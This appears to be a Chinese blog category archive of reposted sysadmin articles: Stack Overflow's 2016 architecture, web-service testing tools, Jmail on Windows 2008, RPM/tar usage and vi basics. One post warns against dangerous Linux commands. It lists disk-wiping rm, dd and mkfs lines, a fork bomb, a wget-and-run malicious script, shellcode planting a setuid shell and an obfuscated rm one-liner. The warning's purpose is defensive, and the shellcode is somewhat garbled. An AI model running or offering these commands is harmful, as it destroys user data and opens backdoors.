分类目录归档:系统集成

Stack Overflow 2016最新架构探秘

这篇文章主要揭秘Stack Overflow截止到2016年的技术架构。

首先给出一个直观的数据,让大家有个初步的印象。
相比于2013年11月,Stack Overflow在2016年02月统计数据有较大变化,下面给出2016年02月09号一天的数据,如下:

  • HTTP请求数209,420,973 (+61,336,090)
  • 网页加载次数 66,294,789 (+30,199,477)
  • HTTP流量发送有1,240,266,346,053 (+406,273,363,426)字节 (1.24 TB)
  • 接收数据总量569,449,470,023 (+282,874,825,991) 字节(569 GB)
  • 发送数据总量3,084,303,599,266 (+1,958,311,041,954) 字节 (3.08 TB)
  • SQL查询数(HTTP请求)504,816,843 (+170,244,740)
  • Redis命中数5,831,683,114 (+5,418,818,063)
  • Elastic 查询次数17,158,874 (未计入2013年的数据)
  • 标签引擎请求次数3,661,134 (+57,716)
  • SQL查询耗时607,073,066 (+48,848,481) 毫秒 (168小时)
  • Redis命中耗时10,396,073 (-88,950,843) 毫秒 (2.8 小时)

你很难想象到.NET技术架构能够在每天6100万请求的情况下减少757小时的处理时间(相比于2013年)。这些改善既得益于2015年早期的硬件设备升级,也跟软件的性能优化有极大的关系。

那么最近两年在硬件上有什么变化呢?以下为截止到目前为止的硬件列表:

  • 4台数据库服务器(微软SQL Server),其中两台更新硬件配置
  • 11台Web服务器(IIS),都已更新硬件配置
  • 2台分布式缓存和消息处理服务器(Redis),都已更新硬件配置
  • 3台应用服务器(实现了tag引擎功能),其中两台为新硬件配置
  • 3台搜索服务器(ElasticSearch),配置同2013年
  • 4台负载均衡服务器(HAProxy),其中新增加的两台用于支持CloudFlare的CDN加速服务
  • 2台网络交换机(每个都是Cisco Nexus 5596 + Fabric Extenders,并升级网卡10Gbps)2台Fortinet 800C(替代2台Cisco 5525-X ASA防火墙)
  • 2台Ciso ASR-1001路由器(替代2台Cisco 3945路由器)
  • 2台Ciso ASR-1001-x路由器

为了支撑Stack Overflow运行,那需要做点什么呢?其实跟2013年相比并没有什么显著变化,只是做了前面提到的硬件升级和程序的性能优化。
现有系统一般都不会完全隔离开来,Stack Overflow也不列外。一图胜千言,下面给出Stack Overflow的整体架构效果图。本篇文章仅给出硬件整理的逻辑架构的亮点,具体的硬件细节部分将在下一篇文章详细介绍。
图1是机架A(在2015年2月升级的)的实物图片展示。

图1
现在来给出主要系统的逻辑架构图,如图2。

图2

基本规则

首先给出全局的通用规则:

  • 万事需要备份
  • 所有服务器和网络交换机要至少2 x 10Gbps带宽
  • 所有服务器配备两个电源(带有UPS电源备用)
  • 所有服务器在机架A和B上互为冗余
  • 所有服务器和服务都有异地双活(纽约机房和科罗拉多州机房)

网络服务

首先,用户去Stack Overflow网站浏览就要通过Internet。为了让用户浏览网站的速度更快Stack Overflow采用CloudFlare的CDN加速。这里使用CloudFlare服务是因为它们的CDN服务器遍布全球。
紧接着,用户的HTTP流量通过四大ISP提供商(Level 3,Zayo,Cogent和Lighttower),经过四台路由器。Stack Overflow通过标准的边界网关协议(BGP)来均衡所有的流量以便用户更有效率的打开网站。Stack Overflow的工程师Nick Craver建议在两个异地数据中心采用一个10 Gbps MPLS,这样在出现突发情况下可以快速的恢复和复制数据。

负载均衡(HAProxy)

负载均衡使用的HAProxy 1.5.15和CentOS 7,并在HAProxy加入安全传输层协议(TLS/SSL)。后续会升级HAProxy到1.6版本来支持HTTP/2。

负载均衡器配备2对10Gbps网络。Stack Overflow通过加内存来有效的解决安全套接层(SSL)问题。缓存安全传输层协议(TLS)会话到内存加以重复使用,这样可以减少对于同一台客户端连接的重复计算,到达提升会话的速度和成本。况且RAM相当便宜,实现了双赢的效果。

负载均衡器的设置是相当的简单。它们监听各路IPs,并进行路由分发。Stack Overflow还做了负载均衡限流和监控HAProxy的日志做到及时报警。

Web层架构(IIS 8.5,ASP.Net MVC 5.2.3,和.Net 4.6.1)

Stack Overflow经过负载均衡层导入流量到9台Web服务器(“primary”服务器),另外两台做网站元数据等环境管理。除meta.stackoverflow.com和meta.stackexchange.com外,Stack Overflow、Careers和Stack Exchange网站业务都在“primary”服务器运行。

在监控平台Opserver上可以看到,Stack Overflow在Web层的分布,见图3

图3
更直观的看下对应的web服务器的图形展示,见图4

图4

服务层(IIS,ASP.Net MVC 5.2.3, Net 4.6.1和HTTP.SYS)

在整体逻辑架构图上可以清晰的看到,紧挨着Web层的是服务层(部署在Window服务器Windows 2012R2上)。其有两个重要的功能:tag应用服务器(基于http.sys)和API(基于IIS)。为了提升这两个服务做了非常多的冗余,但不超过9倍的冗余。举个列子,从数据库加载所有的网页和对应的tags变化(每n分钟(当前设置为2分钟))是非常耗时的。这里只需要加载三次即可保证安全。Stack Overflow也同时在硬件层做了相关的优化。Tag应用服务是一个比较复杂的topic,这里简单说下,当你访问/questions/tagged/java就使用tag应用服务。还有所有/search和导航也都是用的这些数据服务。

缓存&发布/订阅(Redis)

Stack Overflow在缓存层用Redis,Redis服务器256GB内存,采用master/slave结构部署,尽管每个月16000万的ops,每个实例的CPU使用率也在2%之下。

图5
Redis所在服务器有L1/L2高速缓存,Web服务的HTTP缓存设置在一级缓存L1中,Redis缓存在二级缓存L2。当用户访问在一级缓存L1中未命中后会去二级缓存中的Redis取值,这些值以Protobuf格式存储,并以protobuf-dot-net解析。Redis客户使用的StackExchange.Redis(Stack Overflow内部实现并开源了)。如果web服务在L1和L2两级缓存都未命中,则会直接去原始数据源获取(比如,数据库查询,API回调等),然后并把获取到的结果缓存到本地和Redis中,这时其它服务未命中L1高速缓存便会去二级缓存L2/Redis中获取,节省了调用数据库查询或者API回调的访问时间。

大部分运行的问答网站都有自己的L1/L2高速缓存,通过L1缓存Key前缀、L2/Redis缓存数据库ID。

尽管Redis主要是用来缓存,但也起到一个消费和订阅的功能,Redis可以推送一个消息,然后其他订阅者来订阅消息(包括下游的Redis从库在订阅消息)。

Websockets (NetGain)

Websockets实时的推送消息(比如,顶栏的通知,投票,新的答案和评论)给用户。
Sockets服务器运行在web层,NetGain是Stack Overflow实现的一个轻量级高性能实时的开源消息中间件。高峰期可达到50万并发的websocket连接。
下图展示的是一周websocket并发情况:

图6

Search (Elasticsearch)

Stack Overflow的工程师Nick Craver表示搜索层并没有激动人心的部分。在web层采用Elasticsearch 1.4,并内部实现了高性能的StackExchange.Elastic客户端,此部分代码未开源。Stack Overflow使用Elastic来查询相关的问答。

每个数据中心都有一个Elasticsearch集群,包含三个节点,每个都建有自己的索引。三个Elasticsearch集群全部使用SSD存储,192GB内存和双10Gbps网卡。

Stack Overflow使用Elasticsearch代替先前的SQL全排索引,主要因素是:Elasticsearch的扩展性和低成本。

数据库(SQL Server)

SQL Server是Stack Overflow唯一的源数据库,所有Elastic和Redis的数据都来自SQL Server。使用微软的SQL Server监控组件AlwaysOn Availability Groups部署了两个SQL Server集群。每个集群有一个主库,一个数据备份在纽约,另一个数据备份在Colorrado数据中心。所有备份是异步复制。
第一个集群硬件配置:Dell R720xd服务器,384G内存,4TB SSD存储,双12核CPU;第二个集群硬件配置:Dell R730xd服务器,768G内存,4TB SSD存储,双8核CPU。
所有数据库过去24小时CPU监控图如图7所示,大部分情况CPU使用率较低,偶尔做下缓存任务时会高些。图中NY-SQL02和04是主库,01和03是备份库。

图7

纵观全文,Stack Overflow整体架构并没有采用那些非常高端的技术,却造就了一个IT界最受欢迎的问答网站之,这是非常不错的。其中每项使用到的技术都进行了深入的研究并开源分享给社区,国内的公司可以从中获得一些启发。

【来源】:infoQ: http://www.infoq.com/cn/news/2016/03/Stack-Overflow-architecture-insi

12个强大的Web服务测试工具

1.SoapUI (https://www.soapui.org/)

SoapUI是一个开源的,跨平台的测试工具。它可以自动操作功能、回归、合规以及SOAP和REST web服务的负载测试。它配备了一个易于使用的图形界面,并支持行业领先的技术和标准,以模拟和鼓励web服务的行为。

主要特征

  • 以一种Project、TestSuite、TestCase或LoadTest水平提供可打印,可导出,和基于HTML的报告。
  • 自带集成Hudson、Bamboo、Maven、ANT和JUnit。
  • 允许开发自己的一套功能作为SoapUI插件。
  • 记录、监视和显示所有数据。
  • 支持WS-Security和SSL解密。

2.TestingWhiz (http://www.testing-whiz.com/)

TestingWhiz是一种无编码测试自动化工具,自带API / web服务测试能力。它可以让你执行功能、回归、合规,以及基于HTTP和FTP通过WSDL接口的REST和SOAP web服务的负载测试和模拟。它也允许我们进行拒绝服务和渗透检查,以确保web服务的整体健康。此外,它还可以让你执行从端到端的测试,从Web UI,业务逻辑,到数据库和ETL,而无需编码。

  • 支持字符串比较来验证API响应。
  • 通过集成的bug跟踪工具,如JIRA,Mantis和FogBugz来帮助记录API缺陷。
  • 用一个收发邮件设施生成可视化的日志和测试执行报告。
  • 允许跨越多台机器和节点的分布式并行执行。
  • 用Jenkins、Bamboo & Hudson提供持续集成。
  • 支持数据驱动和关键字驱动测试。

3.SOAPSonar (http://www.crosschecknet.com/products/soapsonar.php)

SOAPSonar为HTML、XML、SOAP、REST和JSON提供了全面的web服务测试。它通过对OASIS和W3C标准的开箱即用提供了功能、性能、合规性、互操作性和安全测试。

  • 用XSD-mutation支持漏洞测试。
  • 提供全面的WSDL和Schema解析。
  • 用行为建模和多路同时负载事务来执行负载测试。
  • 提供XML,DOC,XLS,PDF,RTF和RPT格式的报告。
  • 与HP质量中心集成。

4.SOAtest (https://www.parasoft.com/product/soatest/)

SOAtest是利用Parasoft测试验证API和API驱动应用程序的一个企业级工具。它对功能单元,集成,安全性,仿真,模拟,合规以及技术,如REST、JSON、MQ、JMS、TIBCO、HTTP和XML的负载测试提供了强健的支持。

  • 提供端到端的测试。
  • 支持120+协议/消息类型。
  • 自带一个易于使用的界面。
  • 帮助创建复杂,可扩展和可重用的测试,而无需编码。
  • 支持连续集成测试。

5.TestMaker (http://www.pushtotest.com/testmaker-open-source-testing)

TestMaker是一个开源工具,通过PushToTest来测试和监测web,web服务和SOA应用程序的性能。它运行在Jython(用Java编写的Python)上。TestMaker可以重用Selenium测试,SoapUI测试,Sahi公司测试或任何用Groovy,Java,Python,PHP,Ruby和Perl写的测试到功能,负载和性能测试中。

  • 对于功能、负载和性能测试使用命令行提示。
  • 用标准的多窗口IDE提供一种直观的外观和感受。
  • 提供一个监测仪表板来运行测试,并显示实时结果。
  • 归功于Jython语言,因此允许访问所有的Java库和类。

6.Postman (https://www.getpostman.com/)

Postman是另一个API / web服务测试工具,它自带功能强大的HTTP客户端支持。它有一个易于使用的请求构建器,允许你编写测试用例和管理响应数据和响应时间,以便于API测试用例的高效测试和管理。

  • 允许在一个叫Postman Collections的功能中收集和组织API。
  • 促进协作和API数据以及团队控制的共享。
  • 自带粘贴文本的功能,用于在命令行窗口创建无障碍测试。
  • 允许在Postman界面内编写Boolean测试。

7.vRest (https://vrest.io/)

vRest是一个专门用于测试,模拟,以及REST API和Web服务验证的工具。它还支持与第三方API或HTTP服务交互的web,移动和桌面应用程序的测试。

  • 自带一个模拟服务器功能,可用于在几分钟内创建API模拟。
  • 提供了一个Chrome扩展来录制和播放测试案例。
  • 支持与用于服务器整合的Jenkins整合,以及与用于bug跟踪的Jira整合。
  • 有利于角色和权限管理。
  • 允许导出和引入测试用例和来自于外部工具,如Postman Collections、Swagger 2等的报告。

8.HttpMaster (http://www.httpmaster.net/)

HttpMaster是另一个用于REST web服务测试的专用工具。它可以帮助测试人员测试REST API的行为,并验证以如XML、JSON和HTML格式输出的数据。凭借其通用的HTTP工具,HttpMaster也可以帮助开发人员模拟客户活动和API应用程序的响应行为。

  • 自带一个易于使用和优雅的用户界面,不需要高级技术技能。
  • 使用如GET,POST,DELETE等的HTTP方法。
  • 提供不同的验证类型和表达式来缓解测试。
  • 对测试创建和执行使用命令行界面。
  • 允许存储所有信息——API调用和项目数据到一个独立的空间。

9.Runscope (https://www.runscope.com/)

Runscope是一个简单的工具,用来测试和监控API的性能。它可以帮助你验证是web服务还是API返回了正确的数据,同时当API出问题时给出提示。Runscope还支持API和移动app的后端服务测试。

  • 允许用动态数据为甚至更复杂的情况创建测试。
  • 显示视觉效果丰富的指标和分析来发现问题。
  • 集成如HipChat,Webhooks,Slack和PagerDuty的工具,以便于当API坏掉时发出通知。
  • 允许重用和执行跨多个地点的测试。
  • 方便在中心管理测试促进更好的团队协作。

10.Rapise (https://www.inflectra.com/Rapise/)

Rapise是一个健壮的自动化工具,有着强大和可扩展的功能。它基于一个开放和灵活的用于REST / SOAP网络服务的快速功能测试的体系结构。 Rapise还提供对web应用程序的支持,web应用程序用用Java,.NET,AJAX,Silverlight和Flash内置。

  • 使用HTTP标准方法,如POST,GET,PUT和DELETE。
  • 允许存储针对特定网络服务的原型请求。
  • 包含内置REST定义的生成器和对象库。
  • 自带强大的集成报告功能。
  • 支持跨浏览器测试和并行执行。

11.WebInject (http://www.webinject.org/)

WebInject是一款用于自动化功能,验收和回归web和web服务测试的免费工具。它是一个命令行工具,基于Perl,简化了测试的执行,因为它不需要在命令提示符上花时间。此外,它没有类似用户接口的IDE,这意味着,测试是在WebInject UI之外写入的。它可以在有Perl解释器的平台上运行。

  • 提供实时结果显示。
  • 监视系统响应时间。
  • 支持不同的用处——作为一个完整的测试框架,或作为一个独立的测试运行器。
  • 生成HTML和XML格式的报告。
  • 允许与其他系统集成,作为外部监督的插件。

12.Storm (http://storm.codeplex.com/)

最后,Storm是另一个CodePlex的开源工具,用来测试用Java或.NET编写的web服务。目前,它仅支持SOAP web服务。

  • 允许测试来自于独立UI的多个web服务。
  • 帮助编辑原始的SOAP请求。
  • 允许调用包含复杂数据类型的web服务方法。
  • 支持WCF app的测试。

以上来源码农网,并稍加处理。

WIN2008的Jmail组件问题

换个服务器(WIN2008(64位)),问题还真多,Jmail不能用了。

Goolge,baidu搜烂了,被折腾一番,终于找到解决方法。

“Application Pools Defaults” -> “Enable 32-bit Applications” -> “Ture”

好郁闷,菜鸟~

Linux软件包管理

RPM包管理

1) 查选MySQL是否安装(以MySQL软件包为例)
   # rmp -q mysql

   — 可以使用rpm -e命令先删除原来安装的MySQL,然后安装新版的

2)安装MySQL服务器和客户端
   # rmp -ivh MySQL.rpm

3)查询软件包的描述信息
   # rmp -qi software_name

4)查询软件包中的文件列表
   # rmp -ql software_name

5)查询某文件所属的软件包
   # rpm -qf 文件或目录的全路径名

6)查询未安装的软件包信息
   # rpm -qp 软件包文件全路径名

7)升级RPM软件包
   # rpm -Uvh 软件包文件全路径名

8)验证某软件包
   # rpm -Vp rpm包文件名

TAR包管理

tar option file-list

    -t    查看包中的文件列表
    x     释放包
    -e   创建包
    r     增加文件到包文档的末尾
    -z   代表gz格式的压缩包
    -j    代表.bz或.bz2格式的压缩包
    -f   用于指定包文件名
    -v   表示在命令执行时显示详细的提示信息
    -C   目录路径名
    C     用于指定包压缩释放到目录路径
1)将/etc目录下的文件包打包成mylinux.tar
     # tar -evf mylinux.tar  /etc/

2)创建压缩的TAR包
     # tar -[ z|j ]cvf 压缩的tar包文件名   要备份的目录或文件名

3)释放tar包
    # tar -xvf tar包文件名
   如果是压缩包: # tar -[ z|j ]xvf  压缩的tar包文件名

千万不要运行的Linux命令!

早晚有一天,Linux 系统会像 Windows 那样流行,用的人越来越多,包括对计算机不是很了解的人,本文的目的就是告诉大家:在 Linux 给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭都来不及。

这并不是说明 Linux 不安全,只是说明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。

下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况

 sudo rm -rf /  删除根分区全部的文件  
 sudo rm -rf .    删除当前目录下的所有文件  
 sudo rm -rf *   同上  
 rm -rf * or rm -rf *.*   同上  
 rm -rf ~ / &     删除根分区和家目录,即使你不是root,家目录还是不能幸免。 

同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的硬盘分区:

sudo mkfs.xxxx

dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。

 sudo dd if=/dev/zero of=/dev/sda   全部硬盘清零。  
 sudo dd if=/dev/sda of=/dev/sdb     用第一块硬盘的内容覆盖第二块的内容。  
 sudo dd if=something of=/dev/sda    往硬盘上写垃圾数据 

同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:

any_command > /dev/sda              用随意的数据破坏硬盘

上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。

fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源:

 :(){:|:&};:

这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:

fork while fork

有的时候,压缩包也是一个破坏来源~

有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。

有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。

从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:

 wget http://some_place/some_file  
 sh ./some_file  
 wget http://hax018r.org/malicious-script  
 sh ./malicious-script 

载脚本要确保来源正规,如果有能力,可以阅读其代码。

即使有源代码的程序,也不要随便编译执行:

 char esp[] __attribute__ ((section(".text"))) /* e.s.p  

 release */ 

 = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68" 

 "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99" 

 "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7" 06 "x56x04xf7x56x08xf7x56x0cx83xc4x74x56" 

 "x8dx73x08x56x53x54x59xb0x0bxcdx80x31" 

 "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69" 

 "x6ex2fx73x68x00x2dx63x00" 10 "cp -p /bin/sh /tmp/.beyond; chmod 4755  

 /tmp/.beyond;"; 

上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是“rm -rf ~ / & ”。

python 一类的脚本语言,同样可以拿来搞破坏:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'

这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思,实际上就是 rm -rf * 每个字母的下一个!

那么我们如何避免运行恶意程序呢?

第一不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。
第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。
第三要保证软件、脚本的来源正规。
最后一点,虽然比较消极,但是确实十分重要的一点:
经常备份你的数据!!

原文地址:http://php.lampbrother.net/html/42-1/1179.htm

vi编辑器基本使用方法

1、vi的的模式

vi编辑器可以分为三种状态,分别是【命令模式】(Command mode)、【插入模式】(Insert mode)和【底行模式】(Last line mode)。

1) 命令行模式:控制屏幕光标的移动,字符、字或行的删除,移动复制某区段及进入【插入模式】下,或者到【底行模式】。

2) 插入模式:只有在Insert mode下,才可以做文字输入,按【ESC】键可回到【命令行模式】。

3) 底行模式:将文件保存或退出vi,也可设置编辑环境,如寻找字符串、列出行号等。

在系统提示符号输入【vi】及文件名称: 如:$ vi myfile,进入vi之后是处于【命令行模式】。

 

2、命令行模式(command mode)功能键

1)【i】键切换进入【插入模式】,从光标当前位置开始输入文件; 【a】键进入插入模式后,从目前光标所在位置的下一个位置开始输入文字; 【o】键进入插入模式后,是插入新的一行,从行首开始输入文字。

2)【ESC】键从插入模式切换为命令行模式

3)移动光标

Ctrl + b:屏幕往“后”移动一页。

Ctrl + f:屏幕往“前”移动一页。

Ctrl + u:屏幕往“后”移动半页。

Ctrl + d:屏幕往“前”移动半页。

按「0」(数字0)移到文章的开头。

按「G」移动到文章的最后。

按「$」移动到光标所在行的“行尾”。

按「^」移动到光标所在行的“行首”

按「w」光标跳到下个字的开头

按「e」光标跳到下个字的字尾

按「b」光标回到上个字的开头

按「#」光标移到该行的第#个位置,如:5l,56l。

4)删除文字

按「x」,每按一次删除光标所在位置的“后面”一个字符。

按「#x」,「6x」表示删除光标所在位置的“后面”6个字符。

按「X」,(大写X)每按一次删除光标所在位置的“前面”一个字符。

按「#X」,「20X」表示删除光标所在位置的“前面”20个字符。

按「dd」,删除光标所在行。

按「#dd」,从光标所在行开始删除#行

5)复制

按「yw」将光标所在之处到字尾的字符复制到缓冲区中。

按「#yw」复制#个字到缓冲区

按「yy」复制光标所在行到缓冲区。

按「#yy」,「6yy」表示拷贝从光标所在的该行“往下数”6行文字。

按「p」将缓冲区内的字符贴到光标所在位置。注意:所有与“y”有关的复制命令都必须与“p”配合才能完成复制与粘贴功能。

6)替换

按「r」替换光标所在处的字符。

按「R」替换光标所到之处的字符,直到按下「ESC」键为止。

7)回复上一次操作

按「u」如果误执行一个命令,可以马上按下「u」,回到上一个操作。按多次“u”可以执行多次回复。

8)更改

按「cw」更改光标所在处的字到字尾处

按「c#w」例如,「c3w」表示更改3个字

9)跳至指定的行

按「ctrl」+「g」列出光标所在行的行号。

按「#G」:例如,「15G」,表示移动光标至文章的第15行行首。

 

3、底行模式(last line mode)功能键

1) 列出行号

「set nu」:在文件中的每一行前面列出行号。

2) 跳到文件中的某一行

冒号【:】后输入数字,再按回车键则跳到该行

3) 查找字符

「/关键字」:先按「/」键,输入寻找的字符

「?关键字」:先按「?」键,输入寻找的字符

4) 保存文件

「w」:保存文件。 $w myfilename

5) 离开vi

「q」:退出,q!可强制不存盘退出vi。

「qw」:退出并保存文件。